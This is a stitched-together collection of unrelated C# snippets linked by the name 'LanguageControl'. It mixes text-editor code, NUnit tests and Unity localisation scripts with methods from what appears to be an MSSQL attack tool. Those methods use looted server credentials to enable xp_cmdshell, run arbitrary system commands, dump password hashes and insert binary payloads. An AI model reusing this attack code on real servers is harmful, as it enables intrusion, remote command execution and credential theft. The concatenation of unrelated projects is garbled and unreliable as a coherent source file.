/* Public methods */ public void CreateTab(EventHandler <TextChangedEventArgs> textChanged, FileSystemInfo fileInfo = null) { var index = SettingsManager.ApplicationSettings.ApplicationWindow.Theme; var tb = new FastColoredTextBox { Dock = DockStyle.Fill, LeftPadding = 5, BorderStyle = BorderStyle.None, DelayedTextChangedInterval = 500, BackColor = index == 1 ? Color.Black : Color.White, ForeColor = index == 1 ? Color.Silver : Color.Black, Zoom = SettingsManager.ApplicationSettings.EditorWindow.Zoom }; tb.TextChangedDelayed += textChanged; tb.ZoomChanged += OnZoomChanged; var fileName = fileInfo != null ? fileInfo.FullName : null; var caption = !string.IsNullOrEmpty(fileName) ? Path.GetFileName(fileName) : "Untitled.txt"; var tab = new FaTabStripItem(caption, tb) { Tag = fileName }; if (fileInfo != null) { tb.OpenFile(fileInfo.FullName); tb.Language = LanguageControl.GetSyntaxHighLightAuto(Path.GetExtension(fileInfo.FullName)); tb.OnSyntaxHighlight(new TextChangedEventArgs(tb.Range)); } _tabStrip.AddTab(tab); _tabStrip.SelectedItem = tab; tb.Focus(); }
public void RemoveTempTable() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var cnn = new SqlConnection(conS); var cmd = new SqlCommand(); cmd.Connection = cnn; cmd.CommandText = "DROP TABLE WarSQLiTemp"; cnn.Open(); cmd.ExecuteNonQuery(); cnn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void InsertBinaryData() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var cnn = new SqlConnection(conS); var cmd = new SqlCommand(); cmd.Connection = cnn; cmd.CommandText = "insert into WarSQLiTemp(binaryTable) values(@binaryTable)"; var dbp = new SqlParameter("@binaryTable", SqlDbType.Image); dbp.Value = BinaryData; cmd.Parameters.Add(dbp); cnn.Open(); cmd.ExecuteNonQuery(); cnn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void ShowProgramList() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); _programList.Clear(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(ExploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { _programList.Add(rdr[0].ToString()); _exploitResult += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void Can_Instantiate_New_LanguageControl() { //Act var asc = new LanguageControl(); //Assert Assert.That(asc, Is.Not.Null); }
public void Ctor_Accepts_LanguageToReturn_Param_Array() { //Act var sc = new LanguageControl(new LanguageToReturn(10)); //Assert Assert.That(sc, Is.Not.Null); }
private void MenuSyntaxClickCallback(object sender, EventArgs e) { /* Unselect previously selected menu items */ foreach (var item in _mnuSyntax.DropDownItems.Cast <ToolStripItem>().Where(item => item.GetType() == typeof(ToolStripMenuItem))) { ((ToolStripMenuItem)item).Checked = false; } LanguageControl.Syntax(sender, _tsFiles); }
private void XpCmdShellReConfig() { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { var changeLang = new LanguageControl(); changeLang.FindLang(); Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell3"); var openXpCmdShell = "EXEC sp_configure 'show advanced options', 1;\n"; openXpCmdShell += "RECONFIGURE;\n"; openXpCmdShell += "EXEC sp_configure 'xp_cmdshell', 1;\n"; openXpCmdShell += "RECONFIGURE;\n"; openXpCmdShell += "EXEC sp_configure 'show advanced options', 0;\n"; openXpCmdShell += "RECONFIGURE;\n"; if (!string.IsNullOrEmpty(LootedServer)) { var parcala = LootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(openXpCmdShell, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { Result += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("XPCmdShell1")}"; cmdControl.isExecuted = true; cmdControl.isActivated = true; } catch (SqlException exp) { if (exp.ErrorCode == -2146232060) { cmdControl.isExecuted = false; Result += Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell4"); } else { CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } } else { Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } })); }
public void XpCmdShellStatus() { var changeLang = new LanguageControl(); changeLang.FindLang(); const string xpCmdShellStatusCommand = "SELECT value FROM sys.configurations WHERE name = 'xp_cmdshell'"; if (!string.IsNullOrEmpty(LootedServer)) { var parcala = LootedServer.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(xpCmdShellStatusCommand, conn); conn.Open(); var cmdResult = -1; var rdr = cmd.ExecuteReader(); while (rdr.Read()) { cmdResult = Convert.ToInt32(rdr[0]); } rdr.Close(); conn.Close(); if (cmdResult > 0) { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { cmdControl.isActivated = true; Result = Environment.NewLine + changeLang.SelectedLanguage.GetString("XPCmdShell2"); })); } else { Dispatcher.CurrentDispatcher.Invoke(new Action(() => { cmdControl.isActivated = false; XpCmdShellReConfig(); })); } } catch (SqlException exp) { CmdException += string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Result += $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void Can_Generate_Api_Xml() { //Arrange var expected = new XElement("LanguagesToReturn", new XElement("Language", new XAttribute("id", "10"))); var asc = new LanguageControl(LanguageToReturn.WithLanguageId(10)); //Act var actual = asc.ToAdsml(); //Assert Assert.That(actual.ToString(), Is.EqualTo(expected.ToString())); }
//------------------------------------------------------------------------START METHODS OPTIONSCONTROL--------------------------------------------------------------\\ #region void basicSettings() { changeSelected(_selected); // Set Menu Selected addListeners(); // Add Listerners _gameConfig = new GameConfig(); // Create class GameConfig _displays = Display.displays; // Get all displays available _menuControl = FindObjectOfType <MenuControl> (); _languageControl = this.GetComponent <LanguageControl> (); addResolutions(); addDisplays(); // Call the method }
public void SqlExploitation() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var exploitCode = ""; exploitCode += "EXEC xp_cmdshell '\"" + SqlCommand + "\"';\r\n"; if (!string.IsNullOrEmpty(SelectedItem)) { var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(exploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); _exploitResult = string.Empty; while (rdr.Read()) { _exploitResult += $"{Environment.NewLine}{rdr[0]}"; } rdr.Close(); conn.Close(); VolumeList = new List <string>(); var volumeListSpliter = _exploitResult.Trim().Split('\r'); for (var i = 0; i < volumeListSpliter.Count(); i++) { VolumeList.Add(volumeListSpliter[i]); } VolumeList.Remove(""); VolumeList.Remove("\n"); VolumeList.Remove("Caption "); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } } else { Exception = $"{Environment.NewLine}{changeLang.SelectedLanguage.GetString("MessageExploitError1")}"; } }
public void Can_Generate_Api_Xml_With_Outer_Node_XAttributes() { //Arrange var expected = new XElement("LanguagesToReturn", new XAttribute("foo", "bar"), new XElement("Language", new XAttribute("id", "10"))); var asc = new LanguageControl(LanguageToReturn.WithLanguageId(10)) { OuterNodeAttributes = new List <XAttribute> { new XAttribute("foo", "bar") } }; //Act var actual = asc.ToAdsml(); //Assert Assert.That(actual.ToString(), Is.EqualTo(expected.ToString())); }
public void OnEnable() { languageControl = (LanguageControl)target; script = new SerializedObject(target); main_titles = script.FindProperty("main_titles"); buttons_options = script.FindProperty("buttons_options"); options_video = script.FindProperty("options_video"); options_audio = script.FindProperty("options_audio"); options_game = script.FindProperty("options_game"); this.main_titles2 = new ReorderableList(script, main_titles); this.buttons_options2 = new ReorderableList(script, buttons_options); this.options_video2 = new ReorderableList(script, options_video); this.options_audio2 = new ReorderableList(script, options_audio); this.options_game2 = new ReorderableList(script, options_game); this.main_titles2.drawElementCallback = RectMainTitles; this.main_titles2.drawHeaderCallback = (Rect rect) => { EditorGUI.LabelField(rect, "Main Titles"); }; this.buttons_options2.drawElementCallback = RectButtonOptions; this.buttons_options2.drawHeaderCallback = (Rect rect) => { EditorGUI.LabelField(rect, "Button Options"); }; this.options_video2.drawElementCallback = RectVideoOptions; this.options_video2.drawHeaderCallback = (Rect rect) => { EditorGUI.LabelField(rect, "Panel Video"); }; this.options_audio2.drawElementCallback = RectAudioOptions; this.options_audio2.drawHeaderCallback = (Rect rect) => { EditorGUI.LabelField(rect, "Panel Audio"); }; this.options_game2.drawElementCallback = RectGameOptions; this.options_game2.drawHeaderCallback = (Rect rect) => { EditorGUI.LabelField(rect, "Panel Game"); }; }
protected override void Awake() { base.Awake(); //先读取翻译文件 if (!canContinue) { return; } LanguageControl.LoadLanguage(); Object.DontDestroyOnLoad(this.gameObject); RegisterController(Const.E_StartUp, typeof(StartUpCommand)); SendEvent(Const.E_StartUp); SceneManager.sceneLoaded += LevelLoaded; SceneArgs e = new SceneArgs(); e.sceneIndex = SceneManager.GetActiveScene().buildIndex; SendEvent(Const.E_EnterScene, e); }
public void HashDump() { LootedControl(); var changeLang = new LanguageControl(); changeLang.FindLang(); var parcala = SelectedItem.Split(':'); var server = parcala[0]; var user = parcala[2]; var pass = parcala[3]; var conS = "Server=" + server + ";Database=master;Uid=" + user + ";Pwd=" + pass + ";"; try { var conn = new SqlConnection(conS); var cmd = new SqlCommand(ExploitCode, conn); conn.Open(); var rdr = cmd.ExecuteReader(); while (rdr.Read()) { string value = string.Empty; byte[] b = null; b = (byte[])rdr[1]; var hex = BitConverter.ToString(b); var hexCode = hex.Replace("-", ""); value = rdr[0].ToString() + " : " + hexCode; _exploitResult += $"{Environment.NewLine}{value}"; } rdr.Close(); conn.Close(); } catch (SqlException exp) { Exception = string.Format("{2}{3}{0}{1}", Environment.NewLine, exp.Message, changeLang.SelectedLanguage.GetString("GeneralError1"), changeLang.SelectedLanguage.GetString("GeneralError2")); } }
public void SetText() { this.lc = GameObject.FindObjectOfType <LanguageControl>(); this.text = this.GetComponent <Text>(); #if TMP this.textP = this.GetComponent <TMP_Text>(); #endif Translation t = polyglot.GetTranslationByName(nameId, lc.GetSelectedLanguage()); if (t != null) { #if TMP if (textP != null) { this.textP.text = t.translation; } #endif if (text != null) { this.text.text = t.translation; } } }